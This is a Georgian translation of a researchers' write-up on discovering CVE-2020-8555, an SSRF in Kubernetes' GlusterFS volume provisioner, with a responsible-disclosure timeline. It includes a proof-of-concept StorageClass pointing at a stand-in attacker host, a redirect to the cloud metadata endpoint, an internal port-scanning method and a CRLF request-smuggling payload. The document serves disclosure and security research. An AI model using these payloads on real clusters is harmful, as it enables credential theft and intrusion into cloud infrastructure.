როდესაც საქმე მხოლოდ Kubernetes-ის დაუცველობას არ ეხება...

Შენიშვნა. თარგმნა: ამ სტატიის ავტორები დეტალურად საუბრობენ იმაზე, თუ როგორ მოახერხეს დაუცველობის აღმოჩენა CVE-2020–8555 კუბერნეტეში. მიუხედავად იმისა, რომ თავდაპირველად ეს არ ჩანდა ძალიან საშიში, სხვა ფაქტორებთან ერთად მისი კრიტიკულობა მაქსიმალური აღმოჩნდა ღრუბლოვანი პროვაიდერებისთვის. რამდენიმე ორგანიზაციამ გულუხვად დააჯილდოვა სპეციალისტები გაწეული მუშაობისთვის.

Ვინ ვართ ჩვენ

ჩვენ ვართ უსაფრთხოების ორი ფრანგი მკვლევარი, რომლებმაც ერთობლივად აღმოაჩინეს დაუცველობა Kubernetes-ში. ჩვენი სახელებია Brice Augras და Christophe Hauquiert, მაგრამ Bug Bounty-ის ბევრ პლატფორმაზე ჩვენ ცნობილია როგორც Reeverzax და Hach შესაბამისად:

• ბრაის აუგრასი - Groupe Asten კომპანია;
• კრისტოფ ჰაუკიერტი - Kubernetes-ის არქიტექტორი Nokia-ში.

რა მოხდა?

ეს სტატია არის ჩვენი გზა იმის გასაზიარებლად, თუ როგორ გადაიქცა ჩვეულებრივი კვლევითი პროექტი მოულოდნელად ყველაზე საინტერესო თავგადასავალად ბუზებზე მონადირეების ცხოვრებაში (ყოველ შემთხვევაში, ჯერჯერობით).

როგორც მოგეხსენებათ, შეცდომებზე მონადირეებს აქვთ რამდენიმე მნიშვნელოვანი თვისება:

• ისინი ცხოვრობენ პიცაზე და ლუდზე;
• ისინი მუშაობენ, როცა სხვებს სძინავთ.

ჩვენ არ ვართ გამონაკლისი ამ წესებისგან: ჩვეულებრივ შაბათ-კვირას ვიკრიბებით და უძილო ღამეებს ჰაკერებში ვატარებთ. მაგრამ ერთ-ერთი ასეთი ღამე ძალიან უჩვეულო გზით დასრულდა.

თავდაპირველად ვაპირებდით შეხვედრას მონაწილეობაზე განსახილველად CTF მომდევნო დღეს. Kubernetes უსაფრთხოების შესახებ საუბრისას მართულ სერვისის გარემოში, გავიხსენეთ ძველი იდეა SSRF (სერვერის მხრიდან მოთხოვნის გაყალბება) და გადავწყვიტე მისი გამოყენება თავდასხმის სკრიპტად.

საღამოს 11 საათზე დავსხედით კვლევის გასაკეთებლად და დილით ადრე დავიძინეთ, შედეგებით ძალიან კმაყოფილი. სწორედ ამ კვლევის გამო წავაწყდით MSRC Bug Bounty პროგრამას და გამოვავლინეთ პრივილეგიების ესკალაციის ექსპლოიტი.

გავიდა რამდენიმე კვირა/თვე და ჩვენმა მოულოდნელმა შედეგმა მიიღო Azure Cloud Bug Bounty-ის ისტორიაში ერთ-ერთი უმაღლესი ჯილდო - გარდა იმისა, რაც მივიღეთ Kubernetes-ისგან!

ჩვენი კვლევითი პროექტის საფუძველზე, Kubernetes-ის პროდუქტის უსაფრთხოების კომიტეტმა გამოაქვეყნა CVE-2020–8555.

ახლა მსურს შეძლებისდაგვარად გავავრცელოთ ინფორმაცია აღმოჩენილი დაუცველობის შესახებ. ვიმედოვნებთ, რომ დააფასებთ აღმოჩენას და გაუზიარებთ ტექნიკურ დეტალებს infosec საზოგადოების სხვა წევრებს!

ასე რომ, აქ არის ჩვენი ამბავი ...

კონტექსტი

იმისთვის, რომ უკეთ გავიგოთ, რა მოხდა, მოდით ჯერ გადავხედოთ როგორ მუშაობს Kubernetes ღრუბლოვანი გარემოში.

როდესაც ასეთ გარემოში ახდენთ Kubernetes კლასტერს, მართვის ფენა, როგორც წესი, ეკისრება ღრუბლოვან პროვაიდერს:

საკონტროლო ფენა განლაგებულია ღრუბლოვანი პროვაიდერის პერიმეტრზე, ხოლო Kubernetes კვანძები განლაგებულია მომხმარებლის პერიმეტრზე.

მოცულობების დინამიურად გასანაწილებლად, გამოიყენება მექანიზმი, რომლითაც ისინი დინამიურად უზრუნველყოფილია გარე საცავის ფონიდან და შევადარებთ PVC-ს (მუდმივი მოცულობის მოთხოვნა, ე.ი. მოცულობის მოთხოვნა).

ამგვარად, PVC-ის შექმნისა და K8s კლასტერში StorageClass-თან დაკავშირების შემდეგ, მოცულობის უზრუნველყოფის შემდგომ მოქმედებებს ახორციელებს kube/cloud კონტროლერის მენეჯერი (მისი ზუსტი სახელი დამოკიდებულია გამოშვებაზე). (Შენიშვნა. თარგმნა: ჩვენ უკვე დავწერეთ მეტი CCM-ის შესახებ, მისი განხორციელების მაგალითის გამოყენებით ერთ-ერთი ღრუბლოვანი პროვაიდერისთვის აქ.)

კუბერნეტის მიერ მხარდაჭერილი პროვაიდერების რამდენიმე ტიპი არსებობს: მათი უმეტესობა შედის ორკესტრის ბირთვი, ხოლო სხვებს მართავს დამატებითი პროვაიდერები, რომლებიც მოთავსებულია კლასტერში პოდებში.

ჩვენს კვლევაში ჩვენ ყურადღება გავამახვილეთ შიდა მოცულობის უზრუნველყოფის მექანიზმზე, რომელიც ილუსტრირებულია ქვემოთ:

ტომების დინამიური უზრუნველყოფა ჩაშენებული Kubernetes პროვაიდერის გამოყენებით

მოკლედ, როდესაც Kubernetes განლაგებულია მართულ გარემოში, კონტროლერის მენეჯერი პასუხისმგებელია ღრუბლოვანი პროვაიდერის მიერ, მაგრამ მოცულობის შექმნის მოთხოვნა (ზემოთ დიაგრამაში ნომერი 3) ტოვებს ღრუბლოვანი პროვაიდერის შიდა ქსელს. და ეს არის ის, სადაც ყველაფერი მართლაც საინტერესო ხდება!

ჰაკერების სცენარი

ამ განყოფილებაში ჩვენ განვმარტავთ, თუ როგორ ვისარგებლეთ ზემოთ ნახსენები სამუშაო პროცესით და მივიღეთ წვდომა ღრუბლოვანი სერვისის პროვაიდერის შიდა რესურსებზე. ის ასევე გაჩვენებთ, თუ როგორ შეგიძლიათ შეასრულოთ გარკვეული ქმედებები, როგორიცაა შიდა რწმუნებათა სიგელების მოპოვება ან პრივილეგიების გაზრდა.

ერთი მარტივი მანიპულაცია (ამ შემთხვევაში, სერვისის გვერდითი მოთხოვნის გაყალბება) დაეხმარა კლიენტის გარემოს მიღმა გასვლას სხვადასხვა სერვისის პროვაიდერების კლასტერებში მართული K8-ების ქვეშ.

ჩვენს კვლევაში ჩვენ ყურადღება გავამახვილეთ GlusterFS პროვაიდერზე. იმისდა მიუხედავად, რომ მოქმედებების შემდგომი თანმიმდევრობა აღწერილია ამ კონტექსტში, Quobyte, StorageOS და ScaleIO მგრძნობიარეა იმავე დაუცველობის მიმართ.

დინამიური მოცულობის უზრუნველყოფის მექანიზმის ბოროტად გამოყენება

შენახვის კლასის ანალიზის დროს GlusterFS Golang კლიენტის საწყის კოდში ჩვენ შენიშნარომ პირველ HTTP მოთხოვნაზე (3) გაგზავნილი მოცულობის შექმნისას, პარამეტრში მორგებული URL-ის ბოლომდე resturl დაამატა /volumes.

ჩვენ გადავწყვიტეთ ამ დამატებითი ბილიკის მოშორება დამატებით # პარამეტრში resturl. აქ არის პირველი YAML კონფიგურაცია, რომელიც ჩვენ გამოვიყენეთ ნახევრად ბრმა SSRF დაუცველობის შესამოწმებლად (შეგიძლიათ მეტი წაიკითხოთ ნახევრად ბრმა ან ნახევრად ბრმა SSRF-ის შესახებ, მაგალითად, აქ - დაახლ. თარგმანი.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

შემდეგ ჩვენ გამოვიყენეთ ორობითი კუბერნეტის კლასტერის დისტანციურად სამართავად კუბექტლი. როგორც წესი, ღრუბლოვანი პროვაიდერები (Azure, Google, AWS და ა.შ.) გაძლევთ საშუალებას მიიღოთ რწმუნებათა სიგელები ამ პროგრამაში გამოსაყენებლად.

ამის წყალობით, მე შევძელი ჩემი „სპეციალური“ ფაილის გამოყენება. Kube-კონტროლერმა-მენეჯერმა შეასრულა მიღებული HTTP მოთხოვნა:

kubectl create -f sc-poc.yaml

პასუხი თავდამსხმელის გადმოსახედიდან

ამის შემდეგ მალევე შევძელით HTTP პასუხის მიღება სამიზნე სერვერისგან - ბრძანებების საშუალებით describe pvc ან get events კუბექტლში. და მართლაც: Kubernetes-ის ეს ნაგულისხმევი დრაივერი ძალიან მრავლისმეტყველია თავის გაფრთხილებებში/შეცდომის შეტყობინებებში...

აქ არის მაგალითი ბმულით https://www.google.frპარამეტრად დაყენება resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

ამ მიდგომით, ჩვენ შემოვიფარგლებოდით ისეთი კითხვებით, როგორიცაა HTTP POST და ვერ მივიღე საპასუხო ორგანოს შინაარსი, თუ დაბრუნების კოდი იყო 201. ამიტომ, გადავწყვიტეთ ჩაგვეტარებინა დამატებითი კვლევა და გავაფართოვეთ ჰაკერების ეს სცენარი ახალი მიდგომებით.

ჩვენი კვლევის ევოლუცია

• გაფართოებული სცენარი #1: 302 გადამისამართების გამოყენება გარე სერვერიდან HTTP მეთოდის შესაცვლელად, რათა უზრუნველყოს შიდა მონაცემების შეგროვების უფრო მოქნილი გზა.
• გაფართოებული სცენარი #2: LAN სკანირების ავტომატიზაცია და შიდა რესურსების აღმოჩენა.
• გაფართოებული სცენარი #3: HTTP CRLF + კონტრაბანდის გამოყენება („კონტრაბანდის მოთხოვნა“) მორგებული HTTP მოთხოვნების შესაქმნელად და kube-კონტროლერის ჟურნალებიდან ამოღებული მონაცემების მისაღებად.

ტექნიკური მახასიათებლები

• კვლევამ გამოიყენა Azure Kubernetes Service (AKS) Kubernetes ვერსიით 1.12 ჩრდილოეთ ევროპის რეგიონში.
• ზემოთ აღწერილი სცენარები შესრულდა Kubernetes-ის უახლეს გამოშვებებზე, გარდა მესამე სცენარისა, რადგან მას სჭირდებოდა Kubernetes აგებული Golang ვერსიით ≤ 1.12.
• თავდამსხმელის გარე სერვერი - https://attacker.com.

გაფართოებული სცენარი #1: HTTP POST მოთხოვნის გადამისამართება GET-ზე და მგრძნობიარე მონაცემების მიღება

თავდაპირველი მეთოდი გაუმჯობესდა თავდამსხმელის სერვერის დაბრუნების კონფიგურაციით 302 HTTP RetcodePOST მოთხოვნის გადაქცევა GET მოთხოვნად (ნაბიჯი 4 დიაგრამაში):

პირველი მოთხოვნა (3) კლიენტისგან GlusterFS (კონტროლერის მენეჯერი), აქვს POST ტიპი. ამ ნაბიჯების შემდეგ ჩვენ შევძელით მისი გადაქცევა GET-ად:

• როგორც პარამეტრი resturl StorageClass-ში მითითებულია http://attacker.com/redirect.php.
• საბოლოო წერტილი https://attacker.com/redirect.php პასუხობს 302 HTTP სტატუსის კოდით შემდეგი მდებარეობის სათაურით: http://169.254.169.254. ეს შეიძლება იყოს ნებისმიერი სხვა შიდა რესურსი - ამ შემთხვევაში, გადამისამართების ბმული გამოიყენება მხოლოდ როგორც მაგალითი.
• სტანდარტულად net/http ბიბლიოთეკა Golang გადამისამართებს მოთხოვნას და გარდაქმნის POST-ს GET-ად 302 სტატუსის კოდით, რის შედეგადაც ხდება HTTP GET მოთხოვნა სამიზნე რესურსზე.

HTTP პასუხის სხეულის წასაკითხად უნდა გააკეთოთ describe PVC ობიექტი:

kubectl describe pvc xxx

აქ მოცემულია HTTP პასუხის მაგალითი JSON ფორმატში, რომლის მიღებაც შევძელით:

იმ დროისთვის ნაპოვნი დაუცველობის შესაძლებლობები შეზღუდული იყო შემდეგი პუნქტების გამო:

• HTTP სათაურების ჩასმის შეუძლებლობა გამავალ მოთხოვნაში.
• POST მოთხოვნის შესრულების შეუძლებლობა სხეულში პარამეტრებით (ეს მოსახერხებელია გასაღების მნიშვნელობის მოთხოვნით etcd ინსტანციიდან, რომელიც მუშაობს 2379 პორტი, თუ დაშიფრული HTTP გამოიყენება).
• პასუხის სხეულის შინაარსის ამოღების შეუძლებლობა, როდესაც სტატუსის კოდი იყო 200 და პასუხს არ ჰქონდა JSON Content-Type.

გაფართოებული სცენარი #2: ლოკალური ქსელის სკანირება

შემდეგ ეს ნახევრად ბრმა SSRF მეთოდი გამოიყენებოდა ღრუბლოვანი პროვაიდერის შიდა ქსელის სკანირებისთვის და პასუხების საფუძველზე სხვადასხვა მოსმენის სერვისების (მეტამონაცემების მაგალითი, Kubelet და ა.შ.) გამოკითხვისთვის. კუბის კონტროლერი.

ჯერ განისაზღვრა Kubernetes კომპონენტების სტანდარტული მოსმენის პორტები (8443, 10250, 10251 და ა.შ.), შემდეგ კი სკანირების პროცესის ავტომატიზაცია მოგვიწია.

იმის გათვალისწინებით, რომ რესურსების სკანირების ეს მეთოდი ძალიან სპეციფიკურია და არ არის თავსებადი კლასიკურ სკანერებთან და SSRF ინსტრუმენტებთან, ჩვენ გადავწყვიტეთ შეგვექმნა ჩვენი საკუთარი მუშაკები bash სკრიპტით, რომელიც ავტომატიზირებს მთელ პროცესს.

მაგალითად, შიდა ქსელის 172.16.0.0/12 დიაპაზონის სწრაფი სკანირებისთვის, პარალელურად ამოქმედდა 15 მუშა. ზემოაღნიშნული IP დიაპაზონი არჩეულია მხოლოდ სამაგალითოდ და შეიძლება შეიცვალოს თქვენი კონკრეტული სერვისის პროვაიდერის IP დიაპაზონში.

ერთი IP მისამართისა და ერთი პორტის სკანირებისთვის, თქვენ უნდა გააკეთოთ შემდეგი:

• წაშალეთ ბოლო შემოწმებული StorageClass;
• წაშალეთ წინა დადასტურებული მუდმივი მოცულობის მოთხოვნა;
• შეცვალეთ IP და პორტის მნიშვნელობები sc.yaml;
• შექმენით StorageClass ახალი IP-ით და პორტით;
• შექმენით ახალი PVC;
• ამონაწერი სკანირების შედეგების გამოყენებით აღწერს PVC.

გაფართოებული სცენარი #3: CRLF ინექცია + HTTP კონტრაბანდული გადატანა Kubernetes კლასტერის „ძველ“ ვერსიებში

თუ ამის გარდა პროვაიდერმა შესთავაზა კლიენტებს K8s კლასტერის ძველი ვერსიები и მისცა მათ წვდომა კუბე-კონტროლერ-მენეჯერის ჟურნალებზე, ეფექტი კიდევ უფრო მნიშვნელოვანი გახდა.

თავდამსხმელისთვის მართლაც ბევრად უფრო მოსახერხებელია შეცვალოს HTTP მოთხოვნები, რომლებიც შექმნილია სრული HTTP პასუხის მისაღებად მისი შეხედულებისამებრ.

ბოლო სცენარის განსახორციელებლად, შემდეგი პირობები უნდა აკმაყოფილებდეს:

• მომხმარებელს უნდა ჰქონდეს წვდომა kube-controller-manager-ის ჟურნალებზე (როგორც, მაგალითად, Azure LogInsights-ში).
• Kubernetes კლასტერმა უნდა გამოიყენოს Golang-ის ვერსია 1.12-ზე დაბალი.

ჩვენ განვათავსეთ ლოკალური გარემო, რომელიც ახდენს კომუნიკაციის სიმულაციას GlusterFS Go კლიენტსა და ყალბ სამიზნე სერვერს შორის (ამ დროისთვის თავს შევიკავებთ PoC-ის გამოქვეყნებისგან).

Იპოვეს დაუცველობა, გავლენას ახდენს Golang-ის 1.12-ზე დაბალ ვერსიებზე და საშუალებას აძლევს ჰაკერებს განახორციელონ HTTP კონტრაბანდის/CRLF შეტევები.

ზემოთ აღწერილი ნახევრად ბრმა SSRF-ის კომბინაციით вместе ამით ჩვენ შევძელით ჩვენი სურვილისამებრ გამოგვეგზავნა მოთხოვნები, მათ შორის სათაურების შეცვლა, HTTP მეთოდი, პარამეტრები და მონაცემები, რომლებიც შემდეგ დაამუშავა kube-controller-manager.

აქ არის სამუშაო "სატყუარას" მაგალითი პარამეტრში resturl StorageClass, რომელიც ახორციელებს შეტევის მსგავს სცენარს:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

შედეგი არის შეცდომა არასასურველი პასუხი, შეტყობინება, რომლის შესახებაც ჩაწერილია კონტროლერის ჟურნალებში. ნაგულისხმევად ჩართული სიტყვიერების წყალობით, HTTP საპასუხო შეტყობინების შიგთავსი ასევე ინახება იქ.

ეს იყო ჩვენი ყველაზე ეფექტური „სატყუარა“ კონცეფციის მტკიცებულების ფარგლებში.

ამ მიდგომის გამოყენებით, ჩვენ შევძელით შემდეგი შეტევების განხორციელება სხვადასხვა მართული k8s პროვაიდერების კლასტერებზე: პრივილეგიების გაზრდის სერთიფიკატები მეტამონაცემების ინსტანციებზე, Master DoS (დაშიფრული) HTTP მოთხოვნების მეშვეობით etcd master ეგზემპლარებზე და ა.შ.

Aftermath

Kubernetes-ის ოფიციალურ განცხადებაში ჩვენ აღმოვაჩინეთ SSRF დაუცველობასთან დაკავშირებით, იგი შეფასდა CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. თუ გავითვალისწინებთ მხოლოდ კუბერნეტის პერიმეტრთან დაკავშირებულ დაუცველობას, მთლიანობის ვექტორს (მთლიანობის ვექტორი) იგი კვალიფიცირდება როგორც არა.

თუმცა, შესაძლო შედეგების შეფასებამ მართული სერვისის გარემოს კონტექსტში (და ეს იყო ჩვენი კვლევის ყველაზე საინტერესო ნაწილი!) გვაიძულებს, რომ დაუცველობა რეიტინგში გადაგვეკლასიფიცირდეს. კრიტიკული CVSS10/10 მრავალი დისტრიბუტორისთვის.

ქვემოთ მოცემულია დამატებითი ინფორმაცია, რომელიც დაგეხმარებათ გაიგოთ ჩვენი მოსაზრებები ღრუბლოვან გარემოში პოტენციური ზემოქმედების შეფასებისას:

მთლიანობა

• შეასრულეთ ბრძანებები დისტანციურად შეძენილი შიდა სერთიფიკატების გამოყენებით.
• ზემოაღნიშნული სცენარის რეპროდუცირება IDOR (დაუცველი პირდაპირი ობიექტის მითითება) მეთოდის გამოყენებით ლოკალურ ქსელში ნაპოვნი სხვა რესურსებით.

კონფიდენციალობა

• თავდასხმის ტიპი გვერდითი მოძრაობა ღრუბლის სერთიფიკატების მოპარვის წყალობით (მაგალითად, მეტამონაცემების API).
• ინფორმაციის შეგროვება ლოკალური ქსელის სკანირებით (SSH ვერსიის განსაზღვრა, HTTP სერვერის ვერსია, ...).
• შეაგროვეთ მაგალითებისა და ინფრასტრუქტურის ინფორმაცია შიდა API-ების გამოკითხვით, როგორიცაა მეტამონაცემების API (http://169.254.169.254,…).
• კლიენტის მონაცემების მოპარვა ღრუბლის სერთიფიკატების გამოყენებით.

ხელმისაწვდომობა

ყველა ექსპლოიტის სცენარი, რომელიც დაკავშირებულია თავდასხმის ვექტორებთან მთლიანობას, შეიძლება გამოყენებულ იქნას დესტრუქციული ქმედებებისთვის და გამოიწვიოს კლიენტის პერიმეტრიდან (ან ნებისმიერი სხვა) სამაგისტრო შემთხვევები მიუწვდომელი.

ვინაიდან ჩვენ ვიმყოფებოდით K8s-ის მართულ გარემოში და ვაფასებდით გავლენას მთლიანობაზე, შეგვიძლია წარმოვიდგინოთ მრავალი სცენარი, რამაც შეიძლება გავლენა მოახდინოს ხელმისაწვდომობაზე. დამატებითი მაგალითები მოიცავს etcd მონაცემთა ბაზის გაფუჭებას ან კრიტიკულ ზარს Kubernetes API-ზე.

ქრონოლოგია

• 6 წლის 2019 დეკემბერი: დაუცველობის შესახებ მოხსენებული MSRC Bug Bounty-ს.
• 3 წლის 2020 იანვარი: მესამე მხარემ აცნობა Kubernetes-ის დეველოპერებს, რომ ჩვენ ვმუშაობდით უსაფრთხოების საკითხზე. და სთხოვა მათ განეხილათ SSRF, როგორც შიდა (ძირითადი) დაუცველობა. შემდეგ ჩვენ მივაწოდეთ ზოგადი ანგარიში ტექნიკური დეტალებით პრობლემის წყაროს შესახებ.
• 15 წლის 2020 იანვარი: ჩვენ მივაწოდეთ ტექნიკური და ზოგადი ანგარიშები Kubernetes-ის დეველოპერებს მათი მოთხოვნით (HackerOne პლატფორმის მეშვეობით).
• 15 წლის 2020 იანვარი: Kubernetes-ის დეველოპერებმა შეგვატყობინეს, რომ ნახევრად ბრმა SSRF + CRLF ინექცია წარსული გამოშვებებისთვის განიხილება როგორც ძირითადი დაუცველობა. ჩვენ მაშინვე შევწყვიტეთ სხვა სერვისის პროვაიდერების პერიმეტრის ანალიზი: K8s-ის გუნდი ახლა ძირფესვიან მიზეზს აგვარებდა.
• 15 წლის 2020 იანვარი: MSRC ჯილდო მიღებული HackerOne-ის მეშვეობით.
• 16 წლის 2020 იანვარი: Kubernetes PSC (პროდუქტის უსაფრთხოების კომიტეტმა) აღიარა დაუცველობა და სთხოვა მისი საიდუმლოდ შენახვა მარტის შუა რიცხვებამდე პოტენციური მსხვერპლის დიდი რაოდენობის გამო.
• 11 წლის 2020 თებერვალი: მიღებულია Google VRP ჯილდო.
• 4 წლის 2020 მარტი: Kubernetes-ის ჯილდო მიღებული HackerOne-ის მეშვეობით.
• 15 წლის 2020 მარტი: თავდაპირველად დაგეგმილი საჯარო გამჟღავნება გადაიდო COVID-19 სიტუაციის გამო.
• 1 წლის 2020 ივნისი: Kubernetes + Microsoft-ის ერთობლივი განცხადება დაუცველობის შესახებ.

TL; DR

• ლუდს ვსვამთ და პიცას ვჭამთ :)
• ჩვენ აღმოვაჩინეთ ძირითადი დაუცველობა Kubernetes-ში, თუმცა ამის გაკეთება არ გვქონდა განზრახული.
• ჩვენ ჩავატარეთ დამატებითი ანალიზი ღრუბლოვანი პროვაიდერების კლასტერებზე და შევძელით გაზრდილიყო დაუცველობით გამოწვეული ზიანი დამატებითი გასაოცარი ბონუსების მისაღებად.
• ამ სტატიაში ნახავთ ბევრ ტექნიკურ დეტალს. მოხარული ვიქნებით განვიხილავ მათ თქვენთან ერთად (ტვიტერი: @ReeverZax & @__hach_).
• აღმოჩნდა, რომ ყველა სახის ფორმალობას და მოხსენებას მოსალოდნელზე ბევრად მეტი დრო დასჭირდა.

ლიტერატურა

• Google ჯგუფი kubernetes-security-announce;
• CVE-2020-8555;
• გოლანგის ნომერი #30794;
• heketi/client/api/go-client/volume.go.

PS მთარგმნელისგან

ასევე წაიკითხეთ ჩვენს ბლოგზე:

• «Kubernetes-ის შეცდომებზე ნადირობა ოფიციალურად გახსნილია";
• «პოდიდან გამოსვლა კუბერნეტში ჟურნალების დამონტაჟებით";
• «33+ Kubernetes უსაფრთხოების ინსტრუმენტები".

წყარო: www.habr.com